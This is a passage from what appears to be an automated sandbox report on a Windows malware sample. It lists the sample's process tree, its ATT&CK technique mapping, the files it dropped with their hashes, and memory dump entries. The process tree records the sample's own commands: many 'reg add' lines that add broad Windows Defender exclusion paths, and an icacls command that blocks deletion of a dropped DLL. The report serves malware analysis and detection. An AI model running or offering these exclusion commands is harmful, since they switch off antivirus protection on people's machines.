    cmd.exe /c icacls "C:\Program Files (x86)\Y1p8bM\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:844
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Y1p8bM\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:580

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\AJbqOg" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5868
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\AJbqOg" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5040

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:8

C:\Users\Public\AJbqOg\bbTqHH.exe
"C:\Users\Public\AJbqOg\bbTqHH.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1092

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4644
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5180

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3928
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1692

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4764
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5244

C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe
"C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5268

C:\Program Files (x86)\lMbPqMh6\c5D6NZCo.exe
"C:\Program Files (x86)\lMbPqMh6\c5D6NZCo.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5420

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5056
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:956

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2644
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5400

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2604
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5220

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\Y1p8bM" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5776
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\Y1p8bM" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5544

C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe
"C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5524

C:\Program Files (x86)\lMbPqMh6\c5D6NZCo.exe
"C:\Program Files (x86)\lMbPqMh6\c5D6NZCo.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:344

C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe
"C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1236

C:\Program Files (x86)\lMbPqMh6\c5D6NZCo.exe
"C:\Program Files (x86)\lMbPqMh6\c5D6NZCo.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:6108

C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe
"C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:6136

C:\Program Files (x86)\lMbPqMh6\c5D6NZCo.exe
"C:\Program Files (x86)\lMbPqMh6\c5D6NZCo.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5588

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Video Capture

T1125

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\Y1p8bM\XPSPLOG.dll
Size 4.6MB
SHA256 65b3889cdf40d713a964098fdca8eb5e35f7dd01959c96dd6f98e09eb3808067
MD5 e76bd070a5f428dff4dd83ce8fdb0382
SHA1 2bf07b9f19c4f23951053b06c0683d4b2ca89ead
SHA512 ac878ae316216e0f06f49f7961e4d9f1ce4fbd6fc9a8d1177e12b8aba4d4d27e083d9651fd4e5375a6a59c2b3c7c066434459f218079795b53a795a08ef4fc08
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyG:BMWKfU+BcUTHCCCfqCiUffnG
TLSH
T1A3263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Y1p8bM.exe

Path C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\Y1p8bM\image.png
Size 4.8MB
SHA256 40a21fc410296432053407ec6e4371e894b114911c39219b5fe69e0fb047d438
MD5 2c0077ca6a7882455a94d0f44e685d19
SHA1 4308c8a73c36fe3e48e5018044818fdb146f278e
SHA512 a388d5471b6b37696495777dc9b72059c9d71b72bcf406d67a0405bdbe612d11a57e5bace16f251d0e54b38e6c6cf7cb3481b5034c11fbb93fa7321583ad6810
SSDEEP 98304:I/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:IMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T19436334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\Y1p8bM\thumbs.db
Size 358KB
SHA256 432f9f70da8ff6e01405abe897d3d54472b22c4a46cc064488af81795a310720
MD5 4caca18468a5e927897a3ff5d613099b
SHA1 2ef5cd2cf1a250edd9b081b7cc64c91e7a3292af
SHA512 0eee57f5581ee927ab88de1b4c9cbc31d47982f2b0af3d1137873c1c04e76f4149358222ad91a5a2b2c84c7b289cefb17499529a3a1a3f3385bba872631bb982
SSDEEP 6144:+iACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:x8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T12774F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\lMbPqMh6\XPSPLOG.dll
Size 4.6MB
SHA256 649dca36c3ae3359121340e71f51892ec68bd84a72236b1bce70485ef32c73ab
MD5 cb46e1d5da2e950bef2d0e5aa256fa60
SHA1 c88e360928f6419a602320eb62688a1ae3563412
SHA512 7771e3a13d5b545756fbfa5abd43896b2ce53570fc73d67d624da7c2dbead2bb97e225f0a709b11769a3e01d3a5c61cc35aa05e38ddcecbdf0cefde07a35839a
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyN:BMWKfU+BcUTHCCCfqCiUffnN
TLSH
T135263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\lMbPqMh6\image.png
Size 4.8MB
SHA256 312e73d640b3ed7ff9e03bfcd832bcae8b1564b1ae6993fa15b26d5dc6fc9705
MD5 0064cd46c7ceb64d97885c0c396dd8a1
SHA1 24e3989bd6d868dc0245d14dc90049c25e7db43d
SHA512 c246be04aeec1091c602c8067a4a09b8fa83bd324e00c63c73a7491ac4168b224e6e07eaacf8586e0733ac72320f92bc052aede12f02c2da993ffdcaec80e7f0
SSDEEP 98304:8/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:8MpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1B336334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 8be574b189a40cd482cc5eb65c71645f10a410148a8addf08de435d196276a76
MD5 97de2a09228dab58e546f1e76d0b1e2b
SHA1 acf102b8c99be254a8c0c3094e1c7ad549c73a3b
SHA512 fb7fa82a0226243ee2bed8b03a697906c099df05ef4ed52f38f4c0b9501ff34e3c1548f116a42f8819e4e5fea27e2ed7ae5e67e502e825b6d41c5d463fc1ecb0
TLSH
T1B431EBBB6F2DBE424F3D8E9016C9F1226CF5D1806EC7409E6115C8A95F043722F5E90C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 140ddad6346ab9e2215d6852a87a1674567d4881fab6f2e5c3507fb9cfc7f18c
MD5 16b768681a89a0a2da1365ff7d2f3d0a
SHA1 6e995c36f45c228538e70da8c8476a724c3bd328
SHA512 c1e1f4a2edc2e35fd119e93e517d7a89388440e5af067dbca3ac6a19c87a86976ea80b94051aa7a04cee50cc46c680a383858b0869b72a11e3e6bd5d5dfd6865
TLSH
T1F031F8A39E795053EB0C2FA966D1C6373CF0B674ADE44845763EC2AF8605B77AF85008
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 92ebbc4b1f7b594e6470e3375a3b5a764e94d0c6940f1aed929e6995d0e2a68f
MD5 243c058f100e5d33ab0f5bce08c9be33
SHA1 c3d8241170e88ab98af6d2731045b0ec1a40b5a4
SHA512 1e0c5478080d72558e87065cae6ac7474948dbdf41c89720e8a271b5c233fc2fa5a4558ed327c10518561ce3795dc4dfa212cb1db3dc24acd1a9f4eaba2d02b7
TLSH
T187F0271859BC412EF132DB3D96D97A9B0E7AE717140289A406E857096206D813C627B5
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 665a5ce2c6b35142046ebf44cffe384bcd708a81dbdd20de85c0816de4a2b8b1
MD5 a196df6e71abb254feb9cb2724686fa0
SHA1 7b48980b5fd04d41db72d5174d3546ed0e0b5900
SHA512 ca5766ab54b24a1b14feb1e59b44f2053286632fe43ff1a13d7784f1d03ef38bf04467a9f8b844e50bd3de5ef6f2f13045f656a3661e346c40e9c1ea0fb20c4a
TLSH
T1E6F05C3D56EE001BF17BC2B8CBC27D735F76EA632006767A09E947845E92C416C913AA
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_skc520ma.dj1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_skc520ma.dj1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\AJbqOg\UxEnhance64.dll
Size 3.1MB
SHA256 3f51281b6640963ceead8647279a6aa331bebfc666e7f36e021dee30b60645f8
MD5 d95d36da577a2fdd1c5e88e9002105d7
SHA1 77b83186494e16c3d6f8d45fe8d3e459936c01b6
SHA512 871c7f5558484594c0a85599897be0e0bfa54a9f842556ce5f9b0ee3c48eac6b744c93d7b4ff8c61d419c6b88b359977501bf17f4d2d8f6ebe7dcab40ecee546
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+G:P9m29xx3Tiqt06ox6+z2rNNrKoG
TLSH
T198E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\AJbqOg\adoresd.dat
Size 4.8MB
SHA256 f7248c20f9144f70c6db524e1a7fa466e5fd666c69337d912e0d8e1623bd9dfd
MD5 47a304945f069ce26f2d805164c4aa14
SHA1 f1fcb6dc6c5e341685aaf61eca72a559d9843705
SHA512 b3ebf5d6ccf711013f24e82dac43baa008f8888c5999d36047e5ff4cd10815ebbac8fee3c566483768b32ac2729599135fdf0dcb9bc3d7cd393319badc105565
SSDEEP 98304:UWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:UWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1CB3633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bbTqHH.exe

Path C:\Users\Public\AJbqOg\bbTqHH.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\AJbqOg\msadox.tb
Size 8KB
SHA256 2a9b6c5f2404b3c1b787616b8673976ef5d2cb9010d6d4c0ae5e47b5659e1076
MD5 5b83fb7af9eb35c2ef7100c010b0545b
SHA1 4c1145fbb31aac60e2f180d2688f1c11150652c7
SHA512 7bbbb47e83ce1560ecb0bd96edb47c39bc27e0c6debf4005a8b719731535337c39eb2c5666d025c121022af3b5becb0fa024c2238cbf467edfee2c9e5702454c
SSDEEP 192:dqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:dsZqZOXQ3uqvR2Kfzp
TLSH
T196029E05D7B20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/344-802-0x00000000010C0000-0x00000000010C1000-memory.dmp

Download

memory/344-803-0x0000000071890000-0x0000000071FDA000-memory.dmp

Download

memory/344-811-0x00000000037F0000-0x0000000003FCD000-memory.dmp

Download

memory/344-813-0x0000000001320000-0x0000000001321000-memory.dmp

Download

memory/344-814-0x00000000037F0000-0x0000000003FCD000-memory.dmp

Download

memory/344-817-0x00000000010C0000-0x00000000010C1000-memory.dmp

Download

memory/1092-594-0x0000016D6DF10000-0x0000016D6E7E7000-memory.dmp

Download

memory/1092-587-0x0000016D6DF10000-0x0000016D6E7E7000-memory.dmp

Download

memory/1092-591-0x0000016D6DF10000-0x0000016D6E7E7000-memory.dmp

Download

memory/1092-593-0x0000016D6DF10000-0x0000016D6E7E7000-memory.dmp

Download

memory/1092-595-0x00007FFECB150000-0x00007FFECB152000-memory.dmp

Download

memory/1092-586-0x00007FFECB160000-0x00007FFECB162000-memory.dmp

Download

memory/1092-592-0x0000016D6DF10000-0x0000016D6E7E7000-memory.dmp

Download

memory/1092-579-0x00007FFEBB540000-0x00007FFEBBA5E000-memory.dmp

Download

memory/1092-582-0x0000016D6DF10000-0x0000016D6E7E7000-memory.dmp

Download

memory/1236-823-0x00000000010C0000-0x00000000010C1000-memory.dmp

Download

memory/1496-783-0x00000000060D0000-0x00000000060EE000-memory.dmp

Download

memory/1496-761-0x0000000004C30000-0x0000000004C52000-memory.dmp

Download

memory/1496-775-0x0000000006CF0000-0x0000000006D24000-memory.dmp

Download

memory/1496-769-0x0000000005510000-0x0000000005867000-memory.dmp

Download

memory/1496-772-0x0000000006080000-0x00000000060CC000-memory.dmp

Download

memory/1496-771-0x0000000005AE0000-0x0000000005AFE000-memory.dmp

Download

memory/1496-762-0x0000000005300000-0x0000000005366000-memory.dmp

Download

memory/1496-784-0x0000000006D30000-0x0000000006DD4000-memory.dmp

Download

memory/1496-786-0x0000000006E30000-0x0000000006E4A000-memory.dmp

Download

memory/1496-776-0x0000000072A20000-0x0000000072A6C000-memory.dmp

Download

memory/1496-760-0x0000000004CD0000-0x00000000052FA000-memory.dmp

Download

memory/1496-785-0x0000000007470000-0x0000000007AEA000-memory.dmp

Download

memory/1496-759-0x0000000004660000-0x0000000004696000-memory.dmp

Download

memory/1496-787-0x0000000006EA0000-0x0000000006EAA000-memory.dmp

Download

memory/1496-788-0x00000000070D0000-0x0000000007166000-memory.dmp

Download

memory/1496-789-0x0000000007040000-0x0000000007051000-memory.dmp

Download

memory/1496-763-0x00000000054A0000-0x0000000005506000-memory.dmp

Download

memory/3424-674-0x0000000001200000-0x0000000001201000-memory.dmp

Download

memory/3424-679-0x0000000003860000-0x000000000403D000-memory.dmp

Download

memory/3424-698-0x0000000003860000-0x000000000403D000-memory.dmp

Download

memory/3424-672-0x0000000003860000-0x000000000403D000-memory.dmp

Download

memory/3424-707-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/3424-686-0x0000000002E50000-0x0000000002E64000-memory.dmp

Download

memory/3424-724-0x0000000003860000-0x000000000403D000-memory.dmp

Download

memory/3424-667-0x00000000011E0000-0x00000000011E1000-memory.dmp

Download

memory/3424-773-0x0000000003860000-0x000000000403D000-memory.dmp

Download

memory/3424-754-0x0000000006E30000-0x0000000006E6D000-memory.dmp

Download

memory/3424-676-0x0000000003860000-0x000000000403D000-memory.dmp

Download

memory/3424-668-0x0000000074520000-0x0000000074C6A000-memory.dmp

Download

memory/4588-504-0x00007FFEC5650000-0x00007FFEC5660000-memory.dmp

Download

memory/4588-2-0x0000000000580000-0x000000000058C000-memory.dmp

Download

memory/4588-1-0x0000000000570000-0x000000000057E000-memory.dmp

Download

memory/4588-526-0x0000000000570000-0x000000000057E000-memory.dmp

Download

memory/4588-527-0x00007FFEC5650000-0x00007FFEC5660000-memory.dmp

Download

memory/4588-0-0x0000000000570000-0x000000000057E000-memory.dmp

Download

memory/5268-720-0x0000000000D80000-0x0000000000D81000-memory.dmp

Download

memory/5268-743-0x0000000000DA0000-0x0000000000DA1000-memory.dmp

Download

memory/5268-747-0x0000000000D80000-0x0000000000D81000-memory.dmp

Download

memory/5268-744-0x00000000033B0000-0x0000000003B8D000-memory.dmp

Download

memory/5268-725-0x00000000033B0000-0x0000000003B8D000-memory.dmp

Download

memory/5268-721-0x0000000074520000-0x0000000074C6A000-memory.dmp

Download

memory/5420-748-0x0000000001460000-0x0000000001461000-memory.dmp

Download

memory/5420-749-0x0000000003700000-0x0000000003EDD000-memory.dmp

Download

memory/5420-752-0x0000000001440000-0x0000000001441000-memory.dmp

Download

memory/5420-740-0x0000000003700000-0x0000000003EDD000-memory.dmp

Download

memory/5420-731-0x0000000001440000-0x0000000001441000-memory.dmp

Download

memory/5420-732-0x0000000072790000-0x0000000072EDA000-memory.dmp

Download

memory/5524-797-0x0000000074520000-0x0000000074C6A000-memory.dmp

Download

memory/5524-796-0x0000000001550000-0x0000000001551000-memory.dmp

Download

memory/5524-810-0x0000000001550000-0x0000000001551000-memory.dmp

Download

memory/5524-806-0x0000000001570000-0x0000000001571000-memory.dmp

Download

memory/5524-807-0x0000000003C50000-0x000000000442D000-memory.dmp

Download

memory/5524-800-0x0000000003C50000-0x000000000442D000-memory.dmp

Download

memory/5956-545-0x0000021A4E440000-0x0000021A4ED17000-memory.dmp

Download

memory/5956-548-0x0000021A4E440000-0x0000021A4ED17000-memory.dmp

Download

memory/5956-541-0x0000021A4E440000-0x0000021A4ED17000-memory.dmp

Download

memory/5956-538-0x0000021A4E440000-0x0000021A4ED17000-memory.dmp

Download

memory/5956-557-0x0000021A4E440000-0x0000021A4ED17000-memory.dmp

Download

memory/5956-558-0x0000021A4E440000-0x0000021A4ED17000-memory.dmp

Download

memory/5956-540-0x00007FFECB160000-0x00007FFECB162000-memory.dmp

Download

memory/5956-533-0x00007FFEBB540000-0x00007FFEBBA5E000-memory.dmp

Download

memory/5956-532-0x00007FFECB150000-0x00007FFECB152000-memory.dmp

Download

memory/5956-546-0x0000021A4E440000-0x0000021A4ED17000-memory.dmp

Download

memory/5956-547-0x0000021A4E440000-0x0000021A4ED17000-memory.dmp

Download

memory/5956-562-0x0000021A4D9F0000-0x0000021A4DA3E000-memory.dmp

Download

memory/5956-552-0x0000021A4E440000-0x0000021A4ED17000-memory.dmp

Download

memory/5956-566-0x0000021A4EDB0000-0x0000021A4EE3A000-memory.dmp

Download

memory/5956-565-0x0000021A4EDB0000-0x0000021A4EE3A000-memory.dmp

Download

memory/5956-564-0x0000021A4EDB0000-0x0000021A4EE3A000-memory.dmp

Download

memory/5956-563-0x0000021A4EDB0000-0x0000021A4EE3A000-memory.dmp

Download